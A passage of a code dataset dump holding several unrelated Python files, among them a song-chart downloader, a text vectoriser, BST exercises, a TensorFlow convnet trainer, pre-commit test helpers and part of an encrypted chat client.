len(self.songs)):\n self.find_song(i)\n\n def get(self, position, attribute):\n \"\"\"\n Returns a property from the song at a position in the chart\n \"\"\"\n return self.songs[(position - 1)][attribute]\n\n def get_prefix(self):\n return self.prefix\n\n def find_song(self, position):\n \"\"\"\n Finds a song in the download directory. If it is not found\n it attempts to download it.\n \"\"\"\n song = self.songs[position]\n artist = sanitize(song['artist'])\n title = sanitize(song['title'])\n song_filename = artist + '-' + title\n for filename in os.listdir(top30.SETTINGS.song_directory()):\n if filename.endswith(song_filename + '.ogg') or song_filename in filename:\n self.songs[position]['path'] = os.path.join(top30.SETTINGS.song_directory(), filename)\n return\n\n print(song['title'] + ' by ' + song['artist'] + ' cannot be found')\n url = input('Enter the youtube URL of the song or file location: ')\n if 'http://' in url or 'https://' in url:\n download_song(url, song_filename)\n self.songs[position]['path'] = os.path.join(top30.SETTINGS.song_directory(), song_filename + '.ogg')\n start = input('Enter the start time (mm:ss): ')\n set_start(self.songs[position]['path'], start)\n return\n url = os.path.expanduser(url)\n if os.path.isfile(url):\n os.symlink(url, os.path.join(top30.SETTINGS.song_directory(), song_filename + '.ogg'))\n else:\n while not os.path.isfile(url):\n if 'http://' not in url and 'https://' not in url:\n print('Unable to find file')\n print(song['title'] + ' by ' + song['artist'] + ' cannot be found')\n url = input('Enter the youtube URL of the song or file location: ')\n if 'http://' not in url and 'https://' not in url:\n url = os.path.expanduser(url)\n\n if 'http://' in url or 'https://' in url:\n download_song(url, song_filename)\n start = input('Enter the start time (mm:ss): ')\n set_start(os.path.join(top30.SETTINGS.song_directory(), song_filename + '.ogg'), start)\n else:\n os.symlink(url, os.path.join(top30.SETTINGS.song_directory(), song_filename + '.ogg'))\n self.songs[position]['path'] = os.path.join(top30.SETTINGS.song_directory(), song_filename + '.ogg')\n\n\ndef sanitize(string):\n \"\"\"\n Sanitizes a string so that it can be used as part of a filename\n \"\"\"\n string = string.strip().lower()\n string = string.replace(' ', '_').replace('feat.', 'feat').replace('ft.', 'ft')\n string = string.replace('/', '').replace(',', '').replace('’', '')\n string = string.replace(\"'\", '').replace('&', '').replace('__', '_')\n return string\n\n\ndef parse_chart(filename):\n \"\"\"\n Parses a chart textfile at filename\n\n The text file has the format:\n Position | Artist | Title | Loc/Int\n \"\"\"\n text = open(filename).read()\n chart_list = text.split('\\n')\n chart = []\n for song in chart_list:\n song = [i.trim() for i in song.split('|')]\n chart.append({'artist':chart_list[1], 'title':chart_list[2]})\n\n return chart\n\n\ndef download_song(url, filename):\n \"\"\"\n Downloads a song at url and converts it into a useable format\n \"\"\"\n ydl_opts = {'outtmpl':os.path.join(top30.SETTINGS.song_directory(), filename + '.%(ext)s'), \n 'format':'bestaudio', \n 'postprocessors':[\n {'key':'FFmpegExtractAudio', \n 'preferredcodec':'vorbis'}]}\n with youtube_dl.YoutubeDL(ydl_opts) as (ydl):\n ydl.download([url])\n\n\ndef set_start(filename, start_time):\n \"\"\"\n Writes the start of the song section to file\n \"\"\"\n song_meta = mutagen.File(filename, easy=True)\n song_meta[top30.SETTINGS.song_start_tag()] = start_time\n song_meta.save()","sub_path":"pycfiles/top30-2.0.0.linux-x86_64.tar/chart.cpython-37.py","file_name":"chart.cpython-37.py","file_ext":"py","file_size_in_byte":4695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"103693434","text":"#!/usr/bin/python -B \nimport collections, os, csv\n\nDOCUMENTS = '/Users/dima/Boston/Data/QualityMetrics/Asthma/Text/'\nCSVFILE = '/Users/dima/Boston/QualityMetrics/Asthma/data.csv'\nLABELS = '/Users/dima/Boston/Data/QualityMetrics/Asthma/labels.txt'\nFEATURE2INDEX = './feature2index.txt'\nLABEL2INDEX = './label2index.txt'\nTRAIN = './train.txt'\nMINFREQUENCY = 20\n\ndef read_unigrams(file):\n \"\"\"Return a file as a list of words\"\"\" \n \n unigrams = []\n text = open(file).read().replace('\\n', ' ')\n words = text.split()\n alpha_words = [word for word in words if word.isalpha()]\n for word in alpha_words:\n unigrams.append(word.lower())\n \n return unigrams\n\ndef read_bigrams(file):\n \"\"\"Return a file as a list of bi-grams\"\"\"\n\n bigrams = []\n text = open(file).read().replace('\\n', ' ')\n words = text.split()\n alpha_words = [word for word in words if word.isalpha()]\n for i in range(len(alpha_words) - 1):\n bigram = '%s_%s' % (alpha_words[i], alpha_words[i+1])\n bigrams.append(bigram.lower())\n \n return bigrams\n\ndef make_alphabet(corpus_path, feature_extractors):\n \"\"\"Do a pass over corpus and map all unique features to dimensions\"\"\"\n \n feature_counts = collections.Counter()\n for file in os.listdir(corpus_path):\n for feature_extractor in feature_extractors:\n features = feature_extractor(corpus_path + file)\n feature_counts.update(features)\n\n # libsvm indexes start from 1\n index = 1\n # remember the order in which features were inserted\n feature2index = collections.OrderedDict() \n for feature, count in feature_counts.items():\n if count >= MINFREQUENCY:\n feature2index[feature] = index\n index = index + 1\n \n feature_alphabet_file = open(FEATURE2INDEX, 'w')\n for feature, index in feature2index.items():\n feature_alphabet_file.write('%s|%d\\n' % (feature, index))\n\n return feature2index\n\ndef make_vectors(corpus_path, alphabet, labels, feature_extractors):\n \"\"\"Convert documents to vectors\"\"\"\n\n training_data = open(TRAIN, 'w')\n \n for file in os.listdir(corpus_path):\n vector = []\n document_features = []\n for feature_extractor in feature_extractors:\n document_features.extend(feature_extractor(corpus_path + file))\n document_unique_features = set(document_features)\n for feature, index in alphabet.items():\n if feature in document_unique_features:\n vector.append('%s:%s' % (index, 1))\n \n # make label alphabet\n index = 1\n label2index = {}\n label_alphabet_file = open(LABEL2INDEX, 'w')\n for label in set(labels.values()):\n label2index[label] = index\n label_alphabet_file.write('%s|%s\\n' % (label, index))\n index = index + 1\n\n # output vector\n document_name_no_extension = file.split('.')[0]\n label = labels[document_name_no_extension]\n line = '%s %s\\n' % (label2index[label], ' '.join(vector))\n training_data.write(line)\n\ndef load_labels(dsv_file):\n \"\"\"Pipe/bar separated file stores the labels\"\"\"\n\n # key: file name (no extension), value: label\n name2label = {}\n for line in open(dsv_file):\n name, label = line.strip().split('|')\n name2label[name] = label\n\n return name2label\n\nif __name__ == \"__main__\":\n \n feature_extractors = [read_unigrams, read_bigrams]\n alphabet = make_alphabet(DOCUMENTS, feature_extractors)\n labels = load_labels(LABELS)\n make_vectors(DOCUMENTS, alphabet, labels, feature_extractors)\n","sub_path":"QualityMetrics/vectorize.py","file_name":"vectorize.py","file_ext":"py","file_size_in_byte":3376,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"156029759","text":"import math\n\nfrom trees import BinarySearchTree\nfrom linked_list import SinglyLinkedList as sll\n\n\ndef construct_bst_from_sorted_array(input, bst):\n\tinput_len = len(input)\n\tif input_len == 0:\n\t\treturn\n\n\tbst.insert(input[input_len//2])\n\tconstruct_bst_from_sorted_array(input[:input_len//2], bst)\n\tconstruct_bst_from_sorted_array(input[input_len//2+1:], bst)\n\n\ndef get_children(parent_list=[], children_list=[]):\n\tcurrent_level = sll()\n\tnext_level_parents = []\n\n\tif len(parent_list) == 0:\n\t\treturn\n\n\tif len(children_list) == 0:\n\t\tfirst_level = sll()\n\t\tfirst_level.insertEnd(parent_list[0].data)\n\t\tchildren_list.append(first_level)\n\n\tfor parent in parent_list:\n\t\tif parent.left:\n\t\t\tcurrent_level.insertEnd(parent.left.data)\n\t\t\tnext_level_parents.append(parent.left)\n\t\tif parent.right:\n\t\t\tcurrent_level.insertEnd(parent.right.data)\n\t\t\tnext_level_parents.append(parent.right)\n\tif len(current_level) > 0:\n\t\tchildren_list.append(current_level)\n\n\tget_children(next_level_parents, children_list)\n\ndef in_order_successor(bst, data):\n\tnode = bst.node_exists_(bst.root, data)\n\tif node.parent is None or node.right:\n\t\twhile node.left is not None:\n\t\t\tnode = node.left\n\t\treturn node\n\telif node.parent.left == node:\n\t\treturn node.parent\n\telse:\n\t\twhile(node.parent is not None):\n\t\t\tif node.parent.left == node:\n\t\t\t\tbreak\n\t\t\tnode = node.parent\n\t\tif node.parent is not None:\n\t\t\treturn node.parent\n\n\ndef node_exists(tree, node_1, node_2):\n\tnode_1_exists = False\n\tnode_2_exists = False\n\tcount = 0\n\tif tree == node_1:\n\t\tnode_1_exists = True\n\tif tree == node_2:\n\t\tnode_2_exists = True\n\tif count == 0 and tree.left:\n\t\tcount = node_exists(tree.left, node_1, node_2)\n\t\tif count == 1:\n\t\t\tnode_1_exists = True\n\t\telif count == 2:\n\t\t\tnode_2_exists = True\n\t\tif count == 0 and tree.right:\n\t\t\tcount = node_exists(tree.right, node_1, node_2)\n\t\t\tif count == 1:\n\t\t\t\tnode_1_exists = True\n\t\t\telif count == 2:\n\t\t\t\tnode_2_exists = True\n\t\t\n\tif node_1_exists and node_2_exists:\n\t\treturn 3\n\telif node_1_exists:\n\t\treturn 1\n\telif node_2_exists:\n\t\treturn 2\n\treturn count\n\ndef common_ancestor(tree, value_1, value_2):\n\tcount = 0\n\n\tif tree == value_1 or tree == value_2:\n\t\treturn tree\n\tif value_1 == value_2:\n\t\tif value_1 == tree.left or value_1 == tree.right:\n\t\t\treturn tree\n\n\tcount = node_exists(tree.left, value_1, value_2)\n\tif count == 3:\n\t\treturn common_ancestor(tree.left, value_1, value_2)\n\telif count == 1:\n\t\tcount = node_exists(tree.right, value_1, value_2)\n\t\tif count == 2:\n\t\t\treturn tree\n\t\telse:\n\t\t\treturn None\n\telif count == 2:\n\t\tcount = node_exists(tree.left, value_1, value_2)\n\t\tif count == 1:\n\t\t\treturn tree\n\t\telse:\n\t\t\treturn None\n\t\n\tcount = node_exists(tree.right, value_1, value_2)\n\tif count == 3:\n\t\treturn common_ancestor(tree.right, value_1, value_2)\n\telif count == 1:\n\t\tcount = node_exists(tree.right, value_1, value_2)\n\t\tif count == 2:\n\t\t\treturn tree\n\t\telse:\n\t\t\treturn None\n\telif count == 2:\n\t\tcount = node_exists(tree.left, value_1, value_2)\n\t\tif count == 1:\n\t\t\treturn tree\n\t\telse:\n\t\t\treturn None\n\n\treturn None\n\n\ndef path_sum_of_value(bst, values={}, value_list=[]):\n\tvalue_list.append(bst.data)\n\tvalues[bst.data] = bst.data\n\tsum = 0\n\tfor i in range(len(value_list)-1, -1, -1):\n\t\tsum += value_list[i]\n\t\tif sum in values:\n\t\t\tprint(f\"{value_list[i:]}\")\n\tif bst.left:\n\t\tpath_sum_of_value(bst.left, values, value_list)\n\n\tif bst.right:\n\t\tpath_sum_of_value(bst.right, values, value_list)\n\n\tvalue_list.pop()\n\ndef search(nums, target) -> bool:\n\tnum_size = len(nums)\n\tif len(nums) == 0:# or (target < nums[0] and target < nums[num_size-1]):\n\t\treturn False\n\tif len(nums) == 1 and nums[0] != target:\n\t\treturn False\n\tif nums[0] == target:\n\t\treturn True\n\tif search(nums[:len(nums)//2], target) == False:\n\t\treturn search(nums[len(nums)//2:], target)\n\telse:\n\t\treturn True\n\t\n\tnums = list(set(nums))\n\tnum_size = len(nums)\n\tmid = num_size//2\n\n\trotated = 0\n\tif nums[mid] < nums[0]:\n\t\trotated = 1\n\telif nums[num_size-1] < nums[mid]:\n\t\trotated = 2\n\t\n\tif num_size == 0 or (num_size == 1 and nums[0] != target):\n\t\treturn False\n\t\n\tif nums[mid] == target or nums[0] == target or nums[num_size-1] == target:\n\t\treturn True\n\telif num_size == 3:\n\t\treturn False\n\n\tif rotated == 1:\n\t\tif target > nums[0]:\n\t\t\treturn search(nums[:mid], target)\n\t\telse:\n\t\t\treturn search(nums[mid+1:], target)\n\telif rotated == 2:\n\t\tif target > nums[mid]:\n\t\t\treturn search(nums[:mid], target)\n\t\telse:\n\t\t\treturn search(nums[mid+1:], target)\n\t\n\tif target > nums[0] and target < nums[mid]:\n\t\treturn search(nums[:mid], target)\n\telse:\n\t\treturn search(nums[mid+1:], target)\n\nif __name__ == \"__main__\":\n\tsearch([10,10,10,-10,-10,-10,-10,-9,-9,-9,-9,-9,-9,-9,-8,-8,-8,-8,-8,-8,-8,-8,-7,-7,-7,-7,-6,-6,-6,-5,-5,-5,-4,-4,-4,-4,-3,-3,-2,-2,-2,-2,-2,-2,-2,-2,-1,-1,-1,-1,-1,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,2,2,2,3,3,3,4,4,4,5,5,5,5,6,6,6,7,7,7,7,7,8,8,8,8,9,9,9,9,9,9,9,10,10],-6)\n\tbst = BinarySearchTree()\n\tinput = []\n\t\n\tfor _ in range(5):\n\t\tinput.append(_*_)\n\n\tconstruct_bst_from_sorted_array(input, bst)\n\tprint(f\"{bst.traverse('bfs')}, Balanced: {bst.is_balanced()}\")\n\t#bst.get_heights()\n\n\tbst.clear()\n\tfor _ in [49, 9, 121, 1, 25, 81, 169, 0, 4, 16, 36, 64, 100, 144, 196]:\n\t\tbst.insert(_)\n\n\tchildren_list = []\n\tparent_list = [bst.root]\n\tget_children(parent_list, children_list)\n\n\tbst_height = bst.get_max_height() + 1\n\n\tprint(f\"Levels: {len(children_list)}\")\n\n\n\tfor child in children_list:\n\t\tchild_node = child.head\n\t\twhile child_node:\n\t\t\tprint(f\"{child_node.data}\", end=' ')\n\t\t\tchild_node = child_node.next\n\t\tprint()\n\n\tnode_1 = in_order_successor(bst, 4)\n\tnode_2 = in_order_successor(bst, 121)\n\n\tprint(node_1.data, node_2.data)\n\n\tancestor = common_ancestor(bst.root, node_1, node_2)\n\tprint(ancestor.data)\n\n\tprint(f\"In order successor: {in_order_successor(bst, 49).data}\")\n\n\tpath_sum_of_value(bst.root, {}, [])","sub_path":"DataStructures/ex4.py","file_name":"ex4.py","file_ext":"py","file_size_in_byte":5721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"12613394","text":"import tensorflow as tf\nfrom Trainer import Trainer, parse_args\nimport os\n'''\nHelpful notes\n- Excellent source explaining convoluted neural networks:\n http://cs231n.github.io/convolutional-networks/\n- Output size of a conv layer is computed by (W−F+2P)/S+1\n W = input volumne size\n F = field size of conv neuron\n S = stride size\n P = zero padding size\n(240-6+2)/2=118\n(320-6+2)/2=158\n(28-5+2)/2\n'''\n\n# GPU: python train_conv_net.py -p /root/data -b 1000\n# Laptop: python train_conv_net.py -p /Users/ryanzotti/Documents/repos/Self_Driving_RC_Car -b 1000 -f y -d y\ndata_path, epochs = parse_args()\n\nsess = tf.InteractiveSession(config=tf.ConfigProto())\n\ndef weight_variable(shape):\n initial = tf.truncated_normal(shape, stddev=0.1)\n return tf.Variable(initial)\n\ndef bias_variable(shape):\n initial = tf.constant(0.1, shape=shape)\n return tf.Variable(initial)\n\ndef conv2d(x, W):\n return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='SAME')\n\ndef max_pool_2x2(x):\n return tf.nn.max_pool(x, ksize=[1, 2, 2, 1],\n strides=[1, 2, 2, 1], padding='SAME')\n\ndef batch_norm_conv_layer(input, weight_shape, phase):\n W_conv = weight_variable(weight_shape)\n b_conv = bias_variable([weight_shape[-1]])\n h_conv = conv2d(input, W_conv) + b_conv\n is_training = True if phase is not None else False\n h2 = tf.contrib.layers.batch_norm(h_conv,\n center=True, scale=True,\n is_training=is_training)\n return max_pool_2x2(tf.nn.relu(h2))\n\n\nx = tf.placeholder(tf.float32, shape=[None, 240, 320, 3])\ny_ = tf.placeholder(tf.float32, shape=[None, 3])\nphase = tf.placeholder(tf.bool, name='phase')\n\nconv1 = batch_norm_conv_layer(x, [6, 6, 3, 16], phase)\nconv2 = batch_norm_conv_layer(conv1, [6, 6, 16, 4], phase)\nconv3 = batch_norm_conv_layer(conv2, [6, 6, 4, 4], phase)\nconv4 = batch_norm_conv_layer(conv3, [6, 6, 4, 4], phase)\n\nW_fc1 = weight_variable([15 * 20 * 4, 4])\nb_fc1 = bias_variable([4])\n\nh_pool4_flat = tf.reshape(conv4, [-1, 15 * 20 * 4])\nh_fc1 = tf.nn.relu(tf.matmul(h_pool4_flat, W_fc1) + b_fc1)\n\ndropout_keep_prob = tf.placeholder(tf.float32)\nh_fc1_drop = tf.nn.dropout(h_fc1, dropout_keep_prob)\n\nW_fc2 = weight_variable([4, 3])\nb_fc2 = bias_variable([3])\n\ny_conv=tf.nn.softmax(tf.matmul(h_fc1_drop, W_fc2) + b_fc2)\n\n\ncross_entropy = tf.reduce_mean(-tf.reduce_sum(y_ * tf.log(y_conv), reduction_indices=[1]))\n\n'''\n https://github.com/tensorflow/tensorflow/blob/master/tensorflow/contrib/layers/python/layers/layers.py#L396\n From the official TensorFlow docs:\n\n Note: When is_training is True the moving_mean and moving_variance need to be\n updated, by default the update_ops are placed in `tf.GraphKeys.UPDATE_OPS` so\n they need to be added as a dependency to the `train_op`, example:\n\n update_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\n with tf.control_dependencies(update_ops):\n train_op = optimizer.minimize(loss)\n\n https://www.tensorflow.org/api_docs/python/tf/Graph#control_dependencies\n Regarding tf.control_dependencies:\n\n with g.control_dependencies([a, b, c]):\n # `d` and `e` will only run after `a`, `b`, and `c` have executed.\n d = ...\n e = ...\n\n'''\nupdate_ops = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\nwith tf.control_dependencies(update_ops):\n train_step = tf.train.AdamOptimizer(1e-4).minimize(cross_entropy)\n\ncorrect_prediction = tf.equal(tf.argmax(y_conv,1), tf.argmax(y_,1))\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\nmodel_file = os.path.dirname(os.path.realpath(__file__)) + '/' + os.path.basename(__file__)\ntrainer = Trainer(data_path=data_path, model_file=model_file, epochs=epochs, max_sample_records=100)\ntrainer.train(sess=sess, x=x, y_=y_,\n accuracy=accuracy,\n train_step=train_step,\n train_feed_dict={dropout_keep_prob:0.5, 'phase:0': True},\n test_feed_dict={dropout_keep_prob:1.0})\n","sub_path":"train_convnet_batch_norm.py","file_name":"train_convnet_batch_norm.py","file_ext":"py","file_size_in_byte":4027,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"616975750","text":"from __future__ import annotations\n\nimport contextlib\nimport os.path\nimport subprocess\n\nimport pytest\n\nfrom pre_commit import parse_shebang\nfrom pre_commit.util import CalledProcessError\nfrom pre_commit.util import cmd_output\nfrom pre_commit.util import cmd_output_b\nfrom testing.auto_namedtuple import auto_namedtuple\n\n\nTESTING_DIR = os.path.abspath(os.path.dirname(__file__))\n\n\ndef docker_is_running() -> bool: # pragma: win32 no cover\n try:\n cmd_output_b('docker', 'ps')\n except CalledProcessError: # pragma: no cover\n return False\n else:\n return True\n\n\ndef get_resource_path(path):\n return os.path.join(TESTING_DIR, 'resources', path)\n\n\ndef cmd_output_mocked_pre_commit_home(\n *args, tempdir_factory, pre_commit_home=None, env=None, **kwargs,\n):\n if pre_commit_home is None:\n pre_commit_home = tempdir_factory.get()\n env = env if env is not None else os.environ\n kwargs.setdefault('stderr', subprocess.STDOUT)\n # Don't want to write to the home directory\n env = dict(env, PRE_COMMIT_HOME=pre_commit_home)\n ret, out, _ = cmd_output(*args, env=env, **kwargs)\n return ret, out.replace('\\r\\n', '\\n'), None\n\n\nskipif_cant_run_coursier = pytest.mark.skipif(\n os.name == 'nt' or parse_shebang.find_executable('cs') is None,\n reason=\"coursier isn't installed or can't be found\",\n)\nskipif_cant_run_docker = pytest.mark.skipif(\n os.name == 'nt' or not docker_is_running(),\n reason=\"Docker isn't running or can't be accessed\",\n)\nskipif_cant_run_lua = pytest.mark.skipif(\n os.name == 'nt',\n reason=\"lua isn't installed or can't be found\",\n)\nskipif_cant_run_swift = pytest.mark.skipif(\n parse_shebang.find_executable('swift') is None,\n reason=\"swift isn't installed or can't be found\",\n)\nxfailif_windows = pytest.mark.xfail(os.name == 'nt', reason='windows')\n\n\ndef run_opts(\n all_files=False,\n files=(),\n color=False,\n verbose=False,\n hook=None,\n remote_branch='',\n local_branch='',\n from_ref='',\n to_ref='',\n remote_name='',\n remote_url='',\n hook_stage='commit',\n show_diff_on_failure=False,\n commit_msg_filename='',\n checkout_type='',\n is_squash_merge='',\n rewrite_command='',\n):\n # These are mutually exclusive\n assert not (all_files and files)\n return auto_namedtuple(\n all_files=all_files,\n files=files,\n color=color,\n verbose=verbose,\n hook=hook,\n remote_branch=remote_branch,\n local_branch=local_branch,\n from_ref=from_ref,\n to_ref=to_ref,\n remote_name=remote_name,\n remote_url=remote_url,\n hook_stage=hook_stage,\n show_diff_on_failure=show_diff_on_failure,\n commit_msg_filename=commit_msg_filename,\n checkout_type=checkout_type,\n is_squash_merge=is_squash_merge,\n rewrite_command=rewrite_command,\n )\n\n\n@contextlib.contextmanager\ndef cwd(path):\n original_cwd = os.getcwd()\n os.chdir(path)\n try:\n yield\n finally:\n os.chdir(original_cwd)\n\n\ndef git_commit(*args, fn=cmd_output, msg='commit!', all_files=True, **kwargs):\n kwargs.setdefault('stderr', subprocess.STDOUT)\n\n cmd = ('git', 'commit', '--allow-empty', '--no-gpg-sign', *args)\n if all_files: # allow skipping `-a` with `all_files=False`\n cmd += ('-a',)\n if msg is not None: # allow skipping `-m` with `msg=None`\n cmd += ('-m', msg)\n ret, out, _ = fn(*cmd, **kwargs)\n return ret, out.replace('\\r\\n', '\\n')\n","sub_path":"testing/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"220636432","text":"#: Defines parameters extracted from offlinestorageHigh.dat by OfflineStorageHighParser\nOFFLINE_STORAGE_PARAMETERS = [ \n b'AppInfo.Id',\n b'AppInfo.Language',\n b'AppInfo.Version',\n b'DeviceInfo.Id',\n b'DeviceInfo.Make',\n b'DeviceInfo.Model',\n b'DeviceInfo.NetworkType',\n b'DeviceInfo.OsBuild',\n b'DeviceInfo.OsName',\n b'DeviceInfo.OsVersion',\n b'DeviceInfo.SDKUid',\n b'EventInfo.InitId',\n b'EventInfo.Name',\n b'EventInfo.SdkVersion',\n b'EventInfo.Sequence',\n b'EventInfo.Source',\n b'EventInfo.Time',\n b'S_e',\n b'S_j',\n b'S_k',\n b'S_p',\n b'S_t',\n b'S_v',\n b'TenantId',\n b'UserInfo.Id',\n b'UserInfo.Language',\n b'UserInfo.TimeZone',\n b'eventpriority',\n b'records_received_count',\n b'high_priority_records_sent_count',\n b'high_priority_records_tried_to_send_count',\n b'n_r_count',\n b'n_r_inv',\n b'normal_priority_records_received_count',\n b'r_count',\n b'r_inv',\n b'high_priority_records_received_count',\n b'records_sent_count',\n b'records_tried_to_send_count',\n b'AppLifeCycle.State',\n b'Session.Duration',\n b'Session.DurationBucket',\n b'Session.FirstLaunchTime',\n b'Session.Id',\n b'Session.State']","sub_path":"mrdpf/helper/parser_definitions.py","file_name":"parser_definitions.py","file_ext":"py","file_size_in_byte":1590,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"542220878","text":"import sys\r\nimport socket\r\nimport time\r\nfrom messageHandling import sendCommand, recvResponse, commandGeneral\r\nfrom cryptoFunction import aesEncrypt, aesDecrypt, genPrivateKey, dhGetSecret\r\n\r\nclass KATclient:\r\n\tdef __init__(self, serverHost, serverPort):\r\n\t\tself.host = serverHost\r\n\t\tself.port = serverPort\r\n\t\tself.timeout = 10\r\n\r\n\t\tself.state = 'initial'\r\n\r\n\t\tself.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\t\tself.socket.settimeout(self.timeout)\r\n\r\n\t\tself.shellStyle = '$> '\r\n\t\t\r\n\t\tself.goodPassword = ''\r\n\t\tself.myName = ''\r\n\t\tself.privateKey = ''\r\n\r\n\t\tself.fileLoader = ''\r\n\t\tself.tmpfilename = ''\r\n\t\tself.prevSecret = ''\r\n\t\tself.downloadPath = './download/'\r\n\t\tself.logPath = './log/'\r\n\t\tself.writeFlag = False\r\n\r\n\tdef hello(self):\r\n\r\n\t\ttry:\r\n\t\t\tself.socket.connect((self.host, self.port))\r\n\t\texcept:\r\n\t\t\tself.state = 'hello_error'\r\n\t\t\treturn False\r\n\r\n\t\thelloMesage = str(self.socket.recv(1024), 'ascii')\r\n\t\tprint(helloMesage)\r\n\t\tnewPort = int(helloMesage.split(':')[1])\r\n\r\n\t\tself.socket.close()\r\n\t\tself.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\r\n\t\tfor i in range(6):\r\n\t\t\ttry:\r\n\t\t\t\tself.socket.connect((self.host, newPort))\r\n\t\t\t\tself.state = 'true_connect'\r\n\t\t\t\tbreak\r\n\t\t\texcept:\r\n\t\t\t\tself.state = 'true_connect_fail'\r\n\t\t\ttime.sleep(0.3)\r\n\t\tif self.state == 'true_connect_fail':\r\n\t\t\tself.state = 'hello_error'\r\n\t\t\treturn False\r\n\t\telse:\r\n\t\t\tself.port = newPort\r\n\t\t\tprint('Connection is built.')\r\n\t\t\treturn True\r\n\r\n\tdef send_getResponse(self, command):\r\n\t\tif self.state != 'true_connect':\r\n\t\t\treturn False\r\n\r\n\t\trv = sendCommand(self.socket, command)\r\n\t\tif not rv: return 'Error dues to client.\\n'\r\n\r\n\t\tn = 1\r\n\t\tpreResponse = ''\r\n\t\treflectString = ''\r\n\r\n\t\twhile n > 0:\r\n\t\t\trawResponse = ''\r\n\t\t\tif '\\x00' not in preResponse:\r\n\t\t\t\ttry:\r\n\t\t\t\t\trawResponse = recvResponse(self.socket, 1024)\r\n\t\t\t\texcept:\r\n\t\t\t\t\tprint('Server is close.')\r\n\t\t\t\t\treturn False\r\n\t\t\t\tif rawResponse == '':\r\n\t\t\t\t\tprint('Server is close.')\r\n\t\t\t\t\treturn False\r\n\t\t\tpreResponse += rawResponse\r\n\t\t\tresponse = ''\r\n\t\t\tif '\\x00' not in preResponse: continue\r\n\r\n\t\t\tresponse = preResponse.split('\\x00')[0]\r\n\t\t\tpreResponse = '\\x00'.join(preResponse.split('\\x00')[1:])\r\n\t\t\tn -= 1\r\n\t\t\tresponse_head = response.split(':')[0]\r\n\t\t\tresponse_content = ':'.join(response.split(':')[1:])\r\n\r\n# under this line, response is correct, '\\x00' stripped off\r\n\r\n\t\t\tif response_head == 'Message':\r\n\t\t\t\treflectString += response_content + '\\n'\r\n\r\n\t\t\telif response_head == 'MultiResponse':\r\n\t\t\t\tc = int(response_content)\r\n\t\t\t\tn += c\r\n\t\t\telif response_head == 'LoginSuccess':\r\n\t\t\t\tself.myName = command.split(' ')[1]\r\n\t\t\t\tself.goodPassword = command.split(' ')[2]\r\n\t\t\t\tself.privateKey = genPrivateKey(self.myName, self.goodPassword)\r\n\r\n\t\t\telif response_head == \"ChangeShellStyle\":\r\n\t\t\t\tself.shellStyle = response_content\r\n\t\t\telif response_head == 'ExitMessage':\r\n\t\t\t\treflectString += response_content + '\\n'\r\n\t\t\t\traise SystemExit\r\n\t\t\telif response_head == 'CryptedMessage':\r\n\t\t\t\tcipherPack, keycipher = response_content.split('/')\r\n\t\t\t\ttry:\r\n\t\t\t\t\tsecret = dhGetSecret(keycipher, self.privateKey)\r\n\t\t\t\t\tself.prevSecret = bytes.fromhex(secret)\r\n\t\t\t\texcept:\r\n\t\t\t\t\treflectString += 'Message keycipher wrong.\\n'\r\n\t\t\t\t\tbreak\r\n\r\n\t\t\t\ttry:\r\n\t\t\t\t\traw_decrypt_message = aesDecrypt(cipherPack, self.prevSecret)\r\n\t\t\t\texcept:\r\n\t\t\t\t\treflectString += 'Message decrypting wrong.\\n'\r\n\t\t\t\t\tbreak\r\n\r\n\t\t\t\ttry:\r\n\t\t\t\t\tmessage, sender, time, signature = str(raw_decrypt_message, 'ascii').split('\\x00')\r\n\t\t\t\texcept:\r\n\t\t\t\t\treflectString += 'Message format wrong. ({})\\n'.format(raw_decrypt_message)\r\n\t\t\t\t\tbreak\r\n\r\n\t\t\t\treflectString += '{} at {}: {}\\n'.format(sender, time, message)\r\n\t\t\telif response_head == 'CryptedFileHint':\r\n\t\t\t\thashedFilename, cipherPack, keycipher = response_content.split('/')\r\n\t\t\t\t\r\n\t\t\t\ttry:\r\n\t\t\t\t\tsecret = dhGetSecret(keycipher, self.privateKey)\r\n\t\t\t\t\tself.prevSecret = bytes.fromhex(secret)\r\n\t\t\t\texcept:\r\n\t\t\t\t\treflectString += 'Message keycipher wrong.\\n'\r\n\t\t\t\t\tbreak\r\n\r\n\t\t\t\ttry:\r\n\t\t\t\t\traw_decrypt_message = aesDecrypt(cipherPack, self.prevSecret)\r\n\t\t\t\texcept:\r\n\t\t\t\t\treflectString += 'Message decrypting wrong.\\n'\r\n\t\t\t\t\tbreak\r\n\r\n\t\t\t\ttry:\r\n\t\t\t\t\tfilename, sender, time, signature = str(raw_decrypt_message, 'ascii').split('\\x00')\r\n\t\t\t\t\tself.tmpfilename = filename\r\n\t\t\t\texcept:\r\n\t\t\t\t\treflectString += 'Message format wrong. ({})\\n'.format(raw_decrypt_message)\r\n\t\t\t\t\tbreak\r\n\r\n\t\t\t\trandomPrefix = filename.split('_')[0]\r\n\t\t\t\ttrueFilename = '_'.join(filename.split('_')[1:])\r\n\t\t\t\treflectString += '{} sends file {}\\n'.format(sender, trueFilename)\r\n\r\n\t\t\telif response_head == 'HistoryLine':\r\n\t\t\t\tmessageHeader, messageContent = response_content.split(':')\r\n\t\t\t\tif messageHeader in ('Message', 'File'):\r\n\t\t\t\t\tif messageHeader == 'Message':\r\n\t\t\t\t\t\tcipher, keycipher, acceptTime = messageContent.split('/')\r\n\t\t\t\t\tif messageHeader == 'File':\r\n\t\t\t\t\t\ttmpfilename, cipher, keycipher, acceptTime = messageContent.split('/')\r\n\r\n\t\t\t\t\tacceptTime = acceptTime.strip('\\n')\r\n\t\t\t\t\tsecret = 